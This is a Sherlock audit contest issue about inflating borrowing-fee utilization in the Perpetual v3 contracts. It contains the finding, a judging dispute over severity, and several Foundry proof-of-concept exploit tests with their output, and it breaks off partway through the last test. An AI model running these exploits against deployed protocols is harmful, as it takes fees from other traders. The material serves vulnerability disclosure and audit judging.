IllIllI - Borrow fees can be arbitrarily increased without the maker providing any value

[sherlock-admin3]

IllIllI

high

Borrow fees can be arbitrarily increased without the maker providing any value

Summary

The SpotHedgeBaseMaker LPs can maximize their LP returns by closing their trades against other whitelisted makers

Vulnerability Detail

The whitelisted makers, which the SpotHedgeBaseMaker and the OracleMaker are, [c]an receive borrowing fee based on [their] utilization ratio and [d]on’t need to pay borrowing fee themselves. The borrowing fee is meant to be compensation for providing liquidity to the market, but makers like the SpotHedgeBaseMaker, which are able to hedge their position risk, can arbitrarily increase their utilization ratio by opening positions against the OracleMaker, and immediately closing them against the SpotHedgeBaseMaker, maximizing their fees without having to provide liquidity over time.

An attacker can choose a specific market direction, then monitor the utilization of the OracleMaker. Any time the OracleMaker's utilization is flat, the attacker would open a position in the chosen market direction against the OracleMaker (to minimize the dynamic premium), then immediately close the position by offsetting it with a taker order against the SpotHedgeBaseMaker. The only risk the attacker has to take is holding the position for the approximately ~2 second optimism block time, until they're able to offset the position using the ClearingHouse to interact directly with the SpotHedgeBaseMaker.

Impact

Value extraction in the form of excessive fees, at the expense of traders on the other side of the chosen position direction.

Code Snippet

Utilization does not take into account whether the taker is reducing their position, only that the maker is increasing theirs:

// File: src/borrowingFee/LibBorrowingFee.sol : LibBorrowingFee.updateReceiverUtilRatio()   #1

40            /// spec: global_ratio = sum(local_ratio * local_open_notional) / total_receiver_open_notional
41            /// define factor = local_ratio * local_open_notional; global_ratio = sum(factor) / total_receiver_open_notional
42            /// we only know 1 local diff at a time, thus splitting factor to known_factor and other_factors
43            /// a. old_global_ratio = (old_factor + sum(other_factors)) / old_total_open_notional
44            /// b. new_global_ratio = (new_factor + sum(other_factors)) / new_total_open_notional
45            /// every numbers are known except new_global_ratio. sum(other_factors) remains the same between old and new
46            /// expansion formula a: sum(other_factors) = old_global_ratio * old_total_open_notional - old_factor
47            /// replace sum(other_factors) in formula b:
48            /// new_global_ratio = (new_factor + old_global_ratio * old_total_open_notional - old_factor) / new_total_open_notional
49            uint256 oldUtilRatioFactor = self.utilRatioFactorMap[receiver];
50 @>         uint256 newTotalReceiverOpenNotional = self.totalReceiverOpenNotional;
51            uint256 oldUtilRatio = self.utilRatio;
52            uint256 newUtilRatio = 0;
53            if (newTotalReceiverOpenNotional > 0) {
54                // round up the result to prevent from subtraction underflow in next calculation
55 @>             newUtilRatio = FixedPointMathLib.divUp(
56                    oldUtilRatio * self.lastTotalReceiverOpenNotional + newUtilRatioFactor - oldUtilRatioFactor,
57                    newTotalReceiverOpenNotional
58                );
59:           }   

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/borrowingFee/LibBorrowingFee.sol#L40-L59

and whitelisted makers never have to pay any fee:

// File: src/borrowingFee/BorrowingFee.sol : BorrowingFee.getPendingFee()   #2

165        function getPendingFee(uint256 marketId, address trader) external view override returns (int256) {
166 @>         if (_isReceiver(marketId, trader)) {
167                return _getPendingReceiverFee(marketId, trader);
168            }
169            return _getPendingPayerFee(marketId, trader);
170:       }

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/borrowingFee/BorrowingFee.sol#L165-L170

Tool used

Manual Review

Recommendation

There is no incentive to reduce utilization, and I don't see a good solution that doesn't involve the makers having to actively re-balance their positions, e.g. force makers to also have to pay the fee, and only pay the fee to the side that has the largest net non-maker open opposite position

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

santipu_ commented:

Medium/Low - Attacker's position may be closed with some losses due to slippage closing the position against SpotHedgeBaseMaker

[42bchen]

By doing this, the attacker will risk losing money because he needs to relay the position to our relayer, and he can't guarantee that this operation is profitable. Also, arbitrage between maker and maker is expected in our system.

[IllIllI000]

@42bchen the position only has to be open for one block so the position risk is small. The attacker gains value from the LP borrow fees over time that accrue well past the point at which they close the trade, not from the position itself. Every user on one side is affected by the higher fees, so even if the whole trade is a loss for the attacker, they've still gotten all other users to pay higher fees, which is a loss of funds for them. Also, this one was marked as a valid high, and has the same gap risk

[42bchen]

@42bchen the position only has to be open for one block so the position risk is small. The attacker gains value from the LP borrow fees over time that accrue well past the point at which they close the trade, not from the position itself. Every user on one side is affected by the higher fees, so even if the whole trade is a loss for the attacker, they've still gotten all other users to pay higher fees, which is a loss of funds for them. Also, this one was marked as a valid high, and has the same gap risk

update to confirmed, and we think using whitelistLp (only us) can decrease the incentive of attackers to do that, not yet figured out a better way (or easy way) to handle this issue, if you have any suggestions for solving this, please let us know, thank you 🙏

[nirohgo]

Escalate Should be Invalid.

This attack in unrealistic and will never be profitable. Here is why:

1. The attack has the cost of negative PnL due to price difference between Oracle Maker (Pyth price at best) and SpotHedgeBaseMaker (Uniswap slippage). The bigger the investment in skewing the borrow rate, the higher the cost.

2. skewing the utilization rate on Oracle Maker also skews the Funding Rate (more extremely since funding rate is affected non-linearly). This will cause market forces to rebalance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day.

3. The cost of attack is order of magnitudes higher then the additional fees over the period of time it has effect. For example: Under these assumptions:
   A. Uniswap Pool base Liquidity 1000 Eth
   B. Oracle maker Liquidity: 1M$
   C. SpotHedgeBaseMaker Liquidity: 1M$
   D. MinMarginRatio: 100%
   E. 100,000 USD open notional (that pays borrow fees) in the system.
   F. Borrow Fees (unitization rates) are rebalanced within 24 hours.
   G. max borrow fee per year: ~30% (0.00000001 per second). Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$.
   The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4 The slippage loss from opening and closing the positions that push utilization rate is ~$318000 Even if we stretch some of the assumptions (i.e. less slippage on uniswap, more open notional) the attack is not anywhere near profitable.

4. There are other hidden assumptions here, such as that the two makers liquidity is similar (otherwise you can't push utilization rate of both makers to the max while staying neutral) but I believe the above is sufficient to make the point.

[sherlock-admin2]

Escalate Should be Invalid.

This attack in unrealistic and will never be profitable. Here is why:

1. The attack has the cost of negative PnL due to price difference between Oracle Maker (Pyth price at best) and SpotHedgeBaseMaker (Uniswap slippage). The bigger the investment in skewing the borrow rate, the higher the cost.

2. skewing the utilization rate on Oracle Maker also skews the Funding Rate (more extremely since funding rate is affected non-linearly). This will cause market forces to rebalance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day.

3. The cost of attack is order of magnitudes higher then the additional fees over the period of time it has effect. For example: Under these assumptions:
   A. Uniswap Pool base Liquidity 1000 Eth
   B. Oracle maker Liquidity: 1M$
   C. SpotHedgeBaseMaker Liquidity: 1M$
   D. MinMarginRatio: 100%
   E. 100,000 USD open notional (that pays borrow fees) in the system.
   F. Borrow Fees (unitization rates) are rebalanced within 24 hours.
   G. max borrow fee per year: ~30% (0.00000001 per second). Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$.
   The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4 The slippage loss from opening and closing the positions that push utilization rate is ~$318000 Even if we stretch some of the assumptions (i.e. less slippage on uniswap, more open notional) the attack is not anywhere near profitable.

4. There are other hidden assumptions here, such as that the two makers liquidity is similar (otherwise you can't push utilization rate of both makers to the max while staying neutral) but I believe the above is sufficient to make the point.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[IllIllI000]

1. Most attacks have some cost, so that's not a good reason to invalidate an issue. This attack can be done over time so as to minimize the impact on the uniswap pool. There is a profit to be had here as is described above but even if there weren't, Sherlock rules don't require a profit if other users get a loss, and extra unwarranted borrow fees are a definite loss to other users.
2. The escalating watson seems to have misunderstood the attack. They write This will cause market forces to re-balance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day. but the second paragraph of the Vulnerability Detail section describes that this is the desired behavior, because the attack is for the benefit of the SHBM LPs, not the OM LPs

[nirohgo]

1. Most attacks have some cost, so that's not a good reason to invalidate an issue. This attack can be done over time so as to minimize the impact on the uniswap pool. There is a profit to be had here as is described above but even if there weren't, Sherlock rules don't require a profit if other users get a loss, and extra unwarranted borrow fees are a definite loss to other users.

Be that as it may, an attack that spends $318,000 to cause $86 loss does not count as a feasible attack/valid medium.

The escalating watson seems to have misunderstood the attack. They write This will cause market forces to re-balance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day. but the second paragraph of the Vulnerability Detail section describes that this is the desired behavior, because the attack is for the benefit of the SHBM LPs, not the OM LPs

I don't think I misunderstood the attack. The borrowing fee rate is calculated based on the overall utilization rate of all Receivers (both the Oracle Maker and SHBM). What I meant is that at least half of the fabricated utilization rate that affects the fee rate (the part that's on the OM side) won't last long. In any event, my calculation of the gains was based on the attack effects lasting a full day. By then the utilization rate is expected re-balance on both makers (if borrowing rate is exceptionally high, either more LPs will enter, or positions will be closed). The point is that this is not a one-block attack. For it to feasible, the effect of the fabricated utilization need to last for a very long time, which won't happen.

[IllIllI000]

Be that as it may, an attack that spends $318,000 to cause $86 loss does not count as a feasible attack/valid medium.

I don't think I misunderstood the attack

Not sure where you're getting the arbitrary number of 318000 as the cost, when the position is only open for ~2 seconds and is only repeatedly done when there's liquidity. Also, 'expected to' sounds like a big assumption, when the attacker is actively pushing in one direction

[nevillehuang]

@IllIllI000 Could you provide a scenario/PoC to demonstrate the relative loss here so I can verify?

[IllIllI000]

@nevillehuang This is a slight modification of nirohgo's POC for https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/133

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";

contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup {

    using LibFormatter for int256;
    using LibFormatter for uint256;
    using SignedMath for int256;

    address public taker = makeAddr("Taker");
    address public exploiter = makeAddr("Exploiter");
    OracleMaker public oracle_maker;

    function setUp() public override {
        super.setUp();
        //create oracle maker
        oracle_maker = new OracleMaker();
        _enableInitialize(address(oracle_maker));
        oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
        config.registerMaker(marketId, address(oracle_maker));

        //PARAMETERS SETUP

        //fee setup
        //funding fee configs (taken from team tests) 
        config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
        //borrowing fee 0.00000001 per second as in team tests
        config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
        oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests

        //whitelist users
        oracle_maker.setValidSender(exploiter,true);
        oracle_maker.setValidSender(taker,true);

        //add more liquidity ($20M) to uniswap pool to simulate realistic slippage
        deal(address(baseToken), spotLp, 10000e9, true);
        deal(address(collateralToken), spotLp, 20000000e6, true);
        vm.startPrank(spotLp);
        uniswapV3NonfungiblePositionManager.mint(
            INonfungiblePositionManager.MintParams({
                token0: address(collateralToken),
                token1: address(baseToken),
                fee: 3000,
                tickLower: -887220,
                tickUpper: 887220,
                amount0Desired: collateralToken.balanceOf(spotLp),
                amount1Desired: baseToken.balanceOf(spotLp),
                amount0Min: 0,
                amount1Min: 0,
                recipient: spotLp,
                deadline: block.timestamp
            })
        );

        //mock the pyth price to be same as uniswap (set to ~$2000 in base class)
        pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
        _mockPythPrice(2000,0);
    }

    function testBorrowingFeePOC() public {

        //deposit 5M collateral as margin for exploiter (also mints the amount)
        uint256 startQuote = 5000000*1e6;
       _deposit(marketId, exploiter, startQuote);
       console.log("Exploiter Quote balance at Start: %s\n", startQuote);

        //deposit to makers
        //initial HSBM maker deposit: 2000 base tokens ($4M)
       vm.startPrank(makerLp);
       deal(address(baseToken), makerLp, 2000*1e9, true);
       baseToken.approve(address(maker), type(uint256).max);
       maker.deposit(2000*1e9);

       //initial oracle maker deposit: $2M (1000 base tokens)
       deal(address(collateralToken), makerLp, 2000000*1e6, true); 
       collateralToken.approve(address(oracle_maker), type(uint256).max);
       oracle_maker.deposit(2000000*1e6);
       vm.stopPrank();

       //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity
       _deposit(marketId, address(maker), 2000000*1e6);

       int256 exploiterPosSizeStart = vault.getPositionSize(marketId,address(exploiter));
       console.logInt(exploiterPosSizeStart);

       //Exploiter opens -1 base tokens long on oracle maker
        vm.startPrank(exploiter);
        (int256 posBase, int256 openNotional) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(oracle_maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1*1e18,
                oppositeAmountBound:type(uint256).max,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        console.log("Utilization after short (long, short):");
        (uint256 utilLong, uint256 utilShort) = borrowingFee.getUtilRatio(marketId);
        console.log(utilLong, utilShort);

        //move to next block
        vm.warp(block.timestamp + 2 seconds);

        //Exploiter closes the short against the SHBM to increase the ratio
        int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
        (posBase,openNotional) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 * 1e18,
                oppositeAmountBound:0,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        //exploiter withdraws entirely
        int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter));
        int256 stDec = vault.getSettledMargin(marketId,address(exploiter));
        int256 marg = stDec-upDec;
        uint256 margAbs = marg.abs();
        uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
        vault.transferMarginToFund(marketId,toWithdraw);
        vault.withdraw(vault.getFund(exploiter));
        vm.stopPrank();

       int256 exploiterPosSizeFinish = vault.getPositionSize(marketId,address(exploiter));
       console.logInt(exploiterPosSizeFinish);

        uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter));
        console.log("Exploiter Quote balance at End: %s", finalQuoteBalance);

        (uint256 utilLong2, uint256 utilShort2) = borrowingFee.getUtilRatio(marketId);
        console.log(utilLong2, utilShort2);
    }
}

output:

  Exploiter Quote balance at Start: 5000000000000
  0
  Utilization after short (long, short):
  1000000000000000 0
  0
  Exploiter Quote balance at End: 4999993607598
  1000000000000000 995908769461738

So the attacker only had to spend 0.000128% in order to change the short utilization ratio from 0 to 995908769461738, with only one Eth. Note that the attacker no longer has any open position and, as is outlined in the vulnerability description, they can do this repeatedly in small amounts in order to increase the ratio arbitrarily, without incurring slippage in the uniswap pool, and they can be one of the SHMB's LPs in order to profit on this undeserved ratio, in the form of borrow fees, where the utilization ratio for the LP is directly proportional (Can receive borrowing fee based on its utilization ratio) to what percentage of the fees they're paid.

As is mentioned here if #133 is High, this one should be too

[nirohgo]

@nevillehuang . This POC proves nothing. This Watson keeps trying to pin this finding to #133 but they are essentially different. The difference is that funding fee changes exponentially with utilization, while borrowing fee changes linearly up to max borrowing fee. Because of that, an attack that forces funding fee to the max can be profitable within a couple of blocks (as in #133) but an attack that tries to use the borrowing fee can not. All this POC shows is that an increase in utilization causes an increase in borrowing fee, not that that borrowing fee increase can get anywhere close to the cost of attack of make any meaningful damage in a reasonable timeframe.

[IllIllI000]

One is exponential, one is linear. However, once the attacker has skewed the ratio, there's no way for the admin to do anything about it, without losing the fees themselves.

[nirohgo]

The point is, how fast can the attacker make a large enough gain to cover the cost of the attack (or just inflict meaningful damage) since both rates are applied per second. In both cases the attackers create a skew that can not be held for a long time, market forces will balance it over time. But with funding rate the skew can have enough of an effect even within one block while a skew in borrowing fee will take a long time to accrue enough value, and by the time it does, the effect will be gone.

[IllIllI000]

1. Do you agree that eventually the fees will cover the 0.000128% cost? 2. Even if it takes a while to cover the attacker's costs, everyone is immediately paying these fees (a loss for them)

[nirohgo]

1. Do you agree that eventually the fees will cover the 0.000128% cost? 2. Even if it takes a while to cover the attacker's costs, everyone is immediately paying these fees (a loss for them)

Not really. Let's take the POC you provided. If you assume there's $1,000,000 in positions that pay borrowing fee, the effect of your 1 Eth "attack" on the fees will add only 30 cents per day in fees. that means it will take 6666 days for these fees to cover the attack. By then whatever effect your attack had on the utilization rate/borrowing fee will have been long gone.

[IllIllI000]

//borrowing fee 0.00000001 per second as in team tests and 0.00000001 $1,000,000 86400 secs/day = $864 per day paid by the position holders, for no benefit. And I'm not sure why you're counting days to cover $2k, nor where $0.30/day is coming from, when the attacker did not lose $2k - they lost $0.26

[nevillehuang]

Based on the discussion above, seems like some makers can profit off of other whitelisted makers for a material amount of funds. @IllIllI000 The numerical impact shown in #133 seems to be significantly higher than this issue here though, why do you think it should be high?

[nirohgo]

//borrowing fee 0.00000001 per second as in team tests and 0.00000001 $1,000,000 86400 secs/day = $864 per day paid by the position holders, for no benefit. And I'm not sure why you're counting days to cover $2k, nor where $0.30/day is coming from, when the attacker did not lose $2k - they lost $0.26

You're wrong. 0.00000001 per second is the maximum borrowing fee. The difference in fee caused by the attack is 30 cents per day. The cost of the attack is $7 (compare quote balance at end to start). to 21 days to cover the cost. Doesn't matter much because the effect is miniscule.

some makers can profit off of other whitelisted makers for a material amount of funds

@nevillehuang do explain where got that some makers can profit off of other whitelisted makers for a material amount of funds?

[WangSecurity]

@nirohgo can you explain where you get the 30 cents per day from? As of now, your calculations have changes from one message to another and I can't really see where the calculations come from. I'm inclined towards rejecting the escalation and leaving the issue as it is due to the PoC provided the @IllIllI000 and this comment

[nirohgo]

@nirohgo can you explain where you get the 30 cents per day from? As of now, your calculations have changes from one message to another and I can't really see where the calculations come from. I'm inclined towards rejecting the escalation and leaving the issue as it is due to the PoC provided the @IllIllI000 and this comment

@WangSecurity my numbers are consistent.

The 30 cents per day are based on the POC provided by the Watson, which tried to show that the attack is plausible when using small amounts (1 Eth).

To see this, add the following lines at the end of the POC function code:

 //added position to simulate the acumulated borrowing fee over a day
_deposit(marketId, taker, 1000000*1e6);
vm.prank(taker);
 clearingHouse.openPosition(
    IClearingHouse.OpenPositionParams({
        marketId: marketId,
        maker: address(maker),
        isBaseToQuote: true,
        isExactInput: true,
        amount: 500 * 1e18,
        oppositeAmountBound:0,
        deadline: block.timestamp,
        makerData: ""
    })
);

vm.warp(block.timestamp+1 days);

console.log("accumulated Borrowing Fee in a day (USD, 18 decimals):");
int256 bfee = borrowingFee.getPendingFee(marketId,taker);
console.logInt(bfee);

This code shows how much borrowing fee is accumulated over a day when there are $1,000,000 of positions paying borrowing fee. Run the test once as is (and take note of accumulated Borrowing Fee), then comment out the attack code(starting at vm.startPrank(exploiter); until the end at vault.withdraw(vault.getFund(exploiter)); vm.stopPrank(); and run again. The difference between the accumulated borrowing fee with and without the attack is ~0.29*10^18 or roughly 30 cents.

[nirohgo]

BTW @WangSecurity here is how I got to the numbers in my original scenario (showing that the attack is not feasible with large amounts):

Under these assumptions: A. Uniswap Pool base Liquidity 1000 Eth B. Oracle maker Liquidity: 1M$ C. SpotHedgeBaseMaker Liquidity: 1M$ D. MinMarginRatio: 100% E. 100,000 USD open notional (that pays borrow fees) in the system. F. Borrow Fees (unitization rates) are rebalanced within 24 hours. G. max borrow fee per year: ~30% (0.00000001 per second). Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$. The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4 The slippage loss from opening and closing the positions that push utilization rate is ~$318000

This is based on the following POC:

1. In SpotHedgeBaseMakerForkSetup.sol replace lines 81,82 with:

   deal(address(baseToken), spotLp, 1000e9, true);
   deal(address(collateralToken), spotLp, 2000000e6, true);

   (setting 1000 Eth base liquidity in Uniswap Pool)

2. In SpotHedgeBaseMakerForkSetup.sol replace lines 150- 153 with:

   deal(address(baseToken), address(makerLp), 500e9, true);
   vm.startPrank(makerLp);
   baseToken.approve(address(maker), type(uint256).max);
   maker.deposit(500e9);

   (setting initial SpotHedgeBaseMaker liquidity to $1M)

3. Add the following code to a test.sol file under perp-contract-v3/test/spotHedgeMaker/ :

   
   // SPDX-License-Identifier: GPL-3.0-or-later
   pragma solidity >=0.8.0;

// forge test --match-test testSandwich -vv

import "forge-std/Test.sol"; import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol"; import { OracleMaker } from "../../src/maker/OracleMaker.sol"; import "../../src/common/LibFormatter.sol"; import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol"; import { IUniswapV3PoolState } from "../../src/external/uniswap-v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol";

contract borrowFeePOC is SpotHedgeBaseMakerForkSetup {

using LibFormatter for int256;
using LibFormatter for uint256;
using SignedMath for int256;

address public taker = makeAddr("taker");
address public exploiter = makeAddr("Exploiter");
OracleMaker public oracle_maker;

function setUp() public override {
    super.setUp();
    oracle_maker = new OracleMaker();
    _enableInitialize(address(oracle_maker));
    oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
    config.registerMaker(marketId, address(oracle_maker));
    config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
    config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
    oracle_maker.setMaxSpreadRatio(0.1 ether);
    oracle_maker.setValidSender(taker,true);
    oracle_maker.setValidSender(exploiter,true);

    //initial oracle maker liquidity
    vm.startPrank(makerLp);
     deal(address(collateralToken), makerLp,1000000*1e6, true);
     collateralToken.approve(address(oracle_maker), type(uint256).max);
    oracle_maker.deposit(1000000*1e6);
    vm.stopPrank();
    pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
    _mockPythPrice(2000,0);
}

function testBorrowRateIssue() public {
    //set max borrow rate
    //borrowing fee 0.00000001 per second as in team tests
    config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
    oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests
    oracle_maker.setMinMarginRatio(1 ether);
    maker.setMinMarginRatio(1 ether);

    //inititalize taker/exploiter with $10M each
    _deposit(marketId, taker, 10000000 * 1e6);
    _deposit(marketId, exploiter, 10000000 * 1e6);

    console.log("Exploiter Margin at start: ");
    int256 expMargStart = vault.getMargin(marketId,address(exploiter));
    console.logInt(expMargStart);

    // exploiter opens largest posible position on OM to maximize borrowing fee ($1M in this case), 
    //and a counter position of same size on SHBM.
   vm.prank(exploiter);
    (int256 pb, int256 pq) = clearingHouse.openPosition(
        IClearingHouse.OpenPositionParams({
            marketId: marketId,
            maker: address(oracle_maker),
            isBaseToQuote: false,
            isExactInput: false,
            amount: 500 * 1e18,
            oppositeAmountBound:type(uint256).max,
            deadline: block.timestamp,
            makerData: ""
        })
    );
    int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
    vm.prank(exploiter);
    ( pb,  pq) = clearingHouse.openPosition(
        IClearingHouse.OpenPositionParams({
            marketId: marketId,
            maker: address(maker),
            isBaseToQuote: true,
            isExactInput: true,
            amount: exploiterPosSize.abs(),
            oppositeAmountBound:0,
            deadline: block.timestamp,
            makerData: ""
        })
    );
    console.log("Exploiter Margin at end: ");
    int256 expMargEnd = vault.getMargin(marketId,address(exploiter));
    console.logInt(expMargEnd);

    //create taker position to represent $100,000 utility paying the bloated borrowing fee
    //for a day
    vm.startPrank(taker);
    (  pb,    pq) = clearingHouse.openPosition(
        IClearingHouse.OpenPositionParams({
            marketId: marketId,
            maker: address(oracle_maker),
            isBaseToQuote: true,
            isExactInput: true,
            amount: 50 * 1e18,
            oppositeAmountBound:0,
            deadline: block.timestamp,
            makerData: ""
        })
    );
    //move a day forward to see how much borrow fees are collected in a day
    vm.warp(block.timestamp + 1 days);    
    console.log("accumulated Borrowing Fee in a day (USD, no decimals):");
    int256 bfee = borrowingFee.getPendingFee(marketId,taker);
    console.logInt(bfee / 1e18);

    //exploiter loss from slippage in the double move:
    int256 exploiterMarginDiff = expMargEnd - expMargStart;
    console.log("Cost of the exploit (USD, no decimals):");
    console.logInt(exploiterMarginDiff / 1e18);
}

}

4. Run with `forge test --match-test testBorrowRateIssue -vv`

[IllIllI000]

I modified nirohgo's POC (search for IllIllI for the changes), and the output shows a profit of $861

diff

```diff diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol index 66991bf..40183f1 100644 --- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol +++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol @@ -72,14 +72,14 @@ contract SpotHedgeBaseMakerForkSetup is ClearingHouseIntSetup { baseToken = new TestCustomDecimalsToken("testETH", "testETH", 9); // Deliberately different from WETH so we could test decimal conversions. vm.label(address(baseToken), baseToken.symbol()); - uint24 spotPoolFee = 3000; + uint24 spotPoolFee = 500;//500 uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(spotPoolFee), address(collateralToken)); uniswapV3Q2BPath = abi.encodePacked(address(collateralToken), uint24(spotPoolFee), address(baseToken)); - deal(address(baseToken), spotLp, 100e9, true); - deal(address(collateralToken), spotLp, 200000e6, true); + deal(address(baseToken), spotLp, 1000e9, true); + deal(address(collateralToken), spotLp, 2000000e6, true); // // Provision Uniswap v3 system @@ -147,10 +147,10 @@ contract SpotHedgeBaseMakerForkSetup is ClearingHouseIntSetup { maker.setUniswapV3Path(address(baseToken), address(collateralToken), uniswapV3B2QPath); maker.setUniswapV3Path(address(collateralToken), address(baseToken), uniswapV3Q2BPath); - deal(address(baseToken), address(makerLp), 1e9, true); + deal(address(baseToken), address(makerLp), 500e9, true); vm.startPrank(makerLp); baseToken.approve(address(maker), type(uint256).max); - maker.deposit(1e9); + maker.deposit(500e9); vm.stopPrank(); } diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol index 3b0b850..6b1f185 100644 --- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol +++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol @@ -21,7 +21,7 @@ contract SpotHedgeBaseMakerIntSetup is ClearingHouseIntSetup { FakeUniswapV3Factory public uniswapV3Factory; FakeUniswapV3Quoter public uniswapV3Quoter; - uint24 public spotPoolFee = 3000; + uint24 public spotPoolFee = 500; //500 address public spotPool = makeAddr("SpotPool"); bytes public uniswapV3B2QPath; diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol index 1e31111..7ed52ce 100644 --- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol +++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol @@ -32,8 +32,8 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup { quoteToken = new TestCustomDecimalsToken("USDC", "USDC", 6); vm.label(address(quoteToken), quoteToken.symbol()); - uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(3000), address(quoteToken)); - uniswapV3Q2BPath = abi.encodePacked(address(quoteToken), uint24(3000), address(baseToken)); + uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(500), address(quoteToken)); // 500 + uniswapV3Q2BPath = abi.encodePacked(address(quoteToken), uint24(500), address(baseToken)); // 500 vm.mockCall( mockConfig, @@ -73,7 +73,7 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup { IUniswapV3Factory.getPool.selector, address(baseToken), address(quoteToken), - uint24(3000) + uint24(500)//500 ), abi.encode(uniswapV3SpotPool) ); @@ -83,7 +83,7 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup { IUniswapV3Factory.getPool.selector, address(quoteToken), address(baseToken), - uint24(3000) + uint24(500)//500 ), abi.encode(uniswapV3SpotPool) ); ```

test

```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; // forge test --match-test testSandwich -vv import "forge-std/Test.sol"; import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol"; import { OracleMaker } from "../../src/maker/OracleMaker.sol"; import "../../src/common/LibFormatter.sol"; import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol"; contract borrowFeePOC is SpotHedgeBaseMakerForkSetup { using LibFormatter for int256; using LibFormatter for uint256; using SignedMath for int256; address public taker = makeAddr("taker"); address public exploiter = makeAddr("Exploiter"); OracleMaker public oracle_maker; function setUp() public override { super.setUp(); oracle_maker = new OracleMaker(); _enableInitialize(address(oracle_maker)); oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18); config.registerMaker(marketId, address(oracle_maker)); config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker)); config.setFundingConfig(marketId, 1, 1, address(oracle_maker)); config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000); oracle_maker.setMaxSpreadRatio(0.1 ether); oracle_maker.setValidSender(taker,true); oracle_maker.setValidSender(exploiter,true); //initial oracle maker liquidity vm.startPrank(makerLp); deal(address(collateralToken), makerLp,1000000*1e6, true); collateralToken.approve(address(oracle_maker), type(uint256).max); oracle_maker.deposit(1000000*1e6); vm.stopPrank(); pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C); _mockPythPrice(2000,0); } function testBorrowRateIssue() public { //set max borrow rate //borrowing fee 0.00000001 per second as in team tests config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000); oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests 